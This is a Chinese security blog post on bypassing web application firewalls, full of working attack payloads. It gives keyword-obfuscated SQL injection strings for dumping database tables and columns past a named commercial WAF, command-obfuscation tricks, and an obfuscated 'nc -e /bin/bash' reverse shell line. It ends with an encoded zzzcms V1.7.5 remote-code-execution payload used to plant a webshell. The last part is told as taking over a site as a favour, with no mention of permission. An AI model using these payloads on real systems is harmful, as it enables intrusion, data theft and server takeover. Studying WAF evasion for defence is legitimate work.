freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

WAF绕过拍了拍你
2020-12-28 15:15:54

前言

一个安静的下午,和往常一样,逛着各大安全论坛,翻看新出的漏洞资讯,等待着下班。然而,一声不同寻常的微信消息提示音突然在我耳边响起。我立马打开微信看看是谁在这个时候找我。

妹子的要求不敢拒绝,身为菜鸡的我准备立马去学习一波waf绕过姿势。

知己知彼,了解什么是waf

身为一名合格的渗透测试人员,想要绕过waf,我们就先得先了解什么是waf。

Waf = Web Application Firewall ,web应用防火墙,简单来说就是在http协议层面对我们的数据包进行检测,如果发现了可能是带有攻击性的语句,就会进行拦截。

为了不让waf发现我们的意图,我们通常可以利用以下几种方式绕过waf检测

对抗规则绕过

原理:匹配不到恶意语句就不会拦截。

对关键字进行不同编码

select * from zzz = select * from  %257a%257a%257a  //url编码
单引号 = %u0027、%u02b9、%u02bc   // Unicode编码
adminuser = 0x61646D696E75736572 // 部分十六进制编码
空格 = %20 %09 %0a %0b %0c %0d %a0 //各类编码

对关键字进行大小写变换

Union select = uNIoN sELecT

通过其他语义相同的关键字替换

And = &&
Or = ||
等于 = like 或综合<与>判断
if(a,b,c) = case when(A) then B else C end
substr(str,1,1) = substr (str) from 1 for 1
limit 1,1 = limit 1 offset 1
Union select 1,2 = union select * from ((select 1)A join (select 2)B;
hex()、bin() = ascii()
sleep() = benchmark()
concat_ws() = group_concat()
mid()、substr() = substring()
@@user = user()
@@datadir = datadir()

除了通过编码等价替换等方式绕过检测,我们还能配合目标特性实现绕过检测

配合Windows特性

whoami = ((((Wh^o^am""i))))      //利用符号分割字符执行whoami

whoami = set a=net&&b=user&&call %a%%b%   //利用变量分割关键字执行whoami

set a=123whoami456      // 为了方便演示这里设置一个变量
echo %a:~3,6%         // 取出变量a的第3位开始共计6个字符
%a:~3,6%               //执行取出的值,通过截取系统变量然后拼接可以绕过大部分检测

配合Linxu特性

whoami = w'h'o'a'm"i"  //单引号或双引号连接符,需要闭合

Cat /etc/passwd = cat /?t*/??ss**  //?,*通配符 
whoami = /b[12312i]n/w[23sh]oa[2msh]i //[] 通配符,匹配【】中的字符

Whoami = a=who&&b=ami&&$a$b     //当然linux下也可以变量拼接

cat /../../etc/passwd =cd ..&&cd ..&&cd etc&&cat passwd  //目录穿越, /被拦截

Shell反弹也可以配合特性使用

nc -e /bin/bash 127.0.0.1 1234 =/??n/?c -e /??n/b??h 2130706433 1234 //(127.0.0.1 → 2130706433)

配合Mysql特性

/**/数据库注释符,中间部分被注释,可用于截断关键字,干扰waf匹配

User() = user/**/()   //  注释符/**/也可以用于替换空格
Union select = /*95554*/Union/*test123*/select

/!/内敛注释,中间部分继续执行,mysql特有

User() = /*!user/*123*/()*/   //  /*!*/内部继续执行
Union select = /*!union*//*123*//*!select*/   //组合

%0a换行与#单行注释符配合使用

Union select = union#A%0aselect //用#注释,再用%0a逃出注释继续执行后面语句

配合过滤代码或漏洞本身

关键字被过滤,双写关键字

and = anandd      //将关键字过滤掉后剩下的内容组成新的关键字

通过chr()函数变换关键字

phpinfo() = chr (80).chr (72).chr (80).chr (73).chr (78).chr (70).chr (79).chr (40).chr (41)   //将acsii码通过chr()函数转换回来

通过base_convert() 函数变换关键字

phpinfo = base_convert(27440799224,10,32)  //从10进制转换成32进制

http协议绕过

原理:理解不了恶意语句就不会拦截

Content-Type绕过

有的waf 识别到Content-Type类型为multipart/form-data后,会将它认为是文件上传请求,从而不检测其他种类攻击只检测文件上传,导致被绕过。

application/x-www-form-urlencoded è multipart/form-data

HTTP请求方式绕过

waf在对危险字符进行检测的时候,分别为post请求和get请求设定了不同的匹配规则,请求被拦截,变换请求方式有几率能绕过检测

Ps:云锁/安全狗安装后默认状态对post请求检测力度较小,可通过变换请求方式绕过

参数污染绕过

由于http协议允许同名参数的存在,同时waf的处理机制对同名参数的处理方式不同,造成“参数污染”。不同的服务器搭配会对传递的参数解析出不同的值。配合waf与中间件对参数解析位置不同,可能绕过waf。

提交的参数为:?id=1&id=2&id=exp
asp.net+iis:id=1,2,exp
asp+iis:id=1,2,exp
php+apache:id=exp

解析特性绕过

原理:利用waf与后端服务器的解析不一致。

Iis5.0-6.0解析漏洞

.asp --> /xx.asp/xx.jpg  //.asp,.asa目录下的文件都解析成asp文件
.asp --> xx.asp;.jpg     //服务器默认不解析;号后面的内容

Iis7.5解析漏洞(php.ini开启fix_pathinfo)

.php --> /xx.jpg         //上传.jpg一句话,访问时后面加上/xx.php 

apache解析漏洞

.php --> /test.php.php123     //从右往左,能别的后缀开始解析

nginx解析漏洞(php.ini开启fix_pathinfo)

.php --> xxx.jpg%00.php      //Nginx <8.03 空字节代码执行漏洞

多Content-Disposition绕过

请求包中包含多个Content-Disposition时,中间件与waf取值不同

解析兼容性绕过

在http协议中,标准的文件名的形式为filename=”1.php”,但是web容器会在解析协议时做一些兼容,文件上传时,有的waf只按照标准协议去解析,解析不到文件名,从而被绕过。

filename="test.php  filename=test.php  filename=‘test.php‘

keep-alive(Pipeline)绕过

原理:http请求头部中有Connection这个字段,建立的tcp连接会根据此字段的值来判断是否断开,我们可以手动将此值置为keep-alive,然后在http请求报文中构造多个请求,将恶意代码隐藏在第n个请求中,从而绕过waf

发送两个请求,但绕过失败,被云锁拦截,此种方法现在基本失效。

分块传输绕过

原理:分块编码传输将关键字and,or,select ,union等关键字拆开编码,绕过waf等安全设备的检测,但无法绕过代码本身的检测。

修改编码方式:Charset绕过

原理:大部分的WAF默认用UTF8编码检测,修改编码方式可能会绕过waf,例如设置charset为ibm037

Waf检测限制绕过

原理:超出waf检测能力部分不会拦截

参数溢出

原理:通过增加传递得参数数量,达到waf检测上限,超出的参数就可绕过waf了。可绕一些轻量级waf,如phpstudy自带waf。

设置拦截关键字

添加参数数量,成功绕过

缓冲区溢出

原理:当服务器可以处理的数据量大于waf时,这种情况可以通过发送大量的垃圾数据将 WAF 溢出,从而绕过waf。

UnIoN SeLeCT = and (select 1)=(Select 0xA*99999) UnIoN SeLeCT  
and 1=1 = and 1=1 and 99…99999   //此处省略N多个9

网络结构绕过

原理:不经过安全设备就不会拦截

源ip绕过

原理:直接对源地址发起攻击,流量不会经过waf,从而成功绕过。

正常访问流量

攻击者流量

同网段/ssrf绕过

同理, 因同网段的流量属于局域网,可能不经过waf的检测

通过服务器A自身或B的ssrf漏洞,从网络内部发起攻击流量

学以致用(云锁绕过实战)

为了在帮妹子绕过的时候不掉链子,咱们还是简单的来过一过云锁,看看学到的方法到底在实际情况中有没有利用价值

环境介绍

环境: mysql+apache+php

云锁版本:公有云版Linux_3.1.20.15

更新日期:2020-04-27

测试过程 为了更好的模拟攻击,下面是为测试编写的18行代码

首先判断判断注入点,and 1=1 ,看来出师不利,被拦截了

修改payload

大小写AnD 1=1拦截
大小写+内敛/!ANd/ 1=1拦截

尝试变换一下and的形式,waf没有继续拦截,应该是使用正则匹配到了关键字


Axnxd不拦截
等价替换&&1不拦截

看来常用的内敛注释+普通注释无法绕过云锁对关键字的匹配

我们先fuzz一下看看哪些关键字被拦截了,经过测试可以看到,大部分字符单独存在不会被拦截。

例如 order by 被拦截既不是order 触发了waf,也不是by,是它们的组合触发了waf。

姿势一 规则对抗绕过

原理:注释+换行绕过

既然如此,这里我们可以通过

\1. 使用%23将后面的内容给注释掉

\2. 使用%0a将后面的内容进行换行,使后面的sql语句逃出注释就能继续执行了

遇到关键函数被拦截,就在其中插入注释与换行。

在数据库中查询情况如下图所示

使用order by判断出存在2列

Payload:test.php?id=1 /*!order*//**/%23A%0A/**/%23A%0A/*!by*//**/2

使用相同方法查询出用户名和数据库

Payload:test.php?id=1 /*!UNIon*//**/%23A%0A/**/%23A%0A/*!select*//**/database(),user/**/()

知道当前数据库名称后,可以利用information_schema数据库获取当前数据库中存在的表。如下图所示

Payload:test.php?id=1%20/*!UNIon*/%23A%0A/*!select*//**/database/**/(),group_concat(table_name)/**/%23A%0A/**/%23A%0A/*!from*//**/%23A%0Ainformation_schema.tables/**/%23A%0A/**/%23A%0Awhere%20table_schema=database/**/()

接下来就是列名与dump数据

test.php?id=1 /*!UNIon*/%23A%0A/*!select*//**/database/**/(),group_concat(column_name)/**/%23A%0A/**/%23A%0A/*!from*//**/%23A%0Ainformation_schema.columns/**/%23A%0A/**/%23A%0Awhere table_name='users'

姿势二 http协议绕过

既然waf拦截组合,那我们通过分块传输将关键字分块

首先将请求方式变为post并抓包,修改数据包为分段传输格式

注意:这里Transfer-Encoding:的值设为x chunked而不是chunked

构造sql语句判断字段数

分割union select查询出数据库

成功爆出表名

后面继续构造sql语句爆出列名与详细数据

再回正题(zzzcmsV1.7.5前台rce)

激动的心,颤抖的手,怀着忐忑的心情,打算告诉妹子我准备好了,点开她的头像,拍了拍她

只需要拿下站点,她可能会表示感谢请我吃一顿饭,然后...

我们打开了站点,主页如下

先根据妹子提供poc,先执行一波phpinfo,无法执行

进一步测试执行其他命令也返回了403,应该是被waf拦了

fuzz一波发现关键函数和一些常用命令被拦的拦,过滤的过滤,反正就是都没成功执行

黑盒无果,准备审计一波源码

根据版本官网提供的源码定位到了如下过滤函数的位置,跟踪danger_key,看看都过滤了什么

不看不知道,一看吓一跳,啥东西,这开发绝对是作了宁错杀也不可放过的准备(php都给给过滤了,怪不得phpinfo都没法执行)

分析了下这个函数,关键字被替换为*,单引号和双引号被转义,只要不出现关键字单引号和双引号就OK了

经过一番咨询,大佬告诉我还有array_map这个函数也可以执行命令,光有函数还不行,常用命令也被拦截,为了执行命令,首先把phpinfo从32进制转换为10进制

再通过php中的base_convert函数,再把10进制转为32进制,这样就能绕过waf与网站本身的检测,一箭双雕,构造好的poc如下

array_map(base_convert(27440799224,10,32),array(1))  

通过构造好的poc,我们成功执行phpinfo命令

接下来的通过相同操作将一句话copy进网站根目录,成功拿到shell

{if:array_map(base_convert(591910,10,36),array(base_convert(831805,10,36).(base_convert(14,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(XX).(base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(XX).(base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(XX).(base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(XX).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(base_convert(1,10,36))),array((base_convert(1,10,36)).(base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(base_convert(33037,10,36))))}{end if} 

拿到shell心情美滋滋!

总结

见招拆招, Impossible ==> I’m possible

# waf绕过 # WAF研究
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录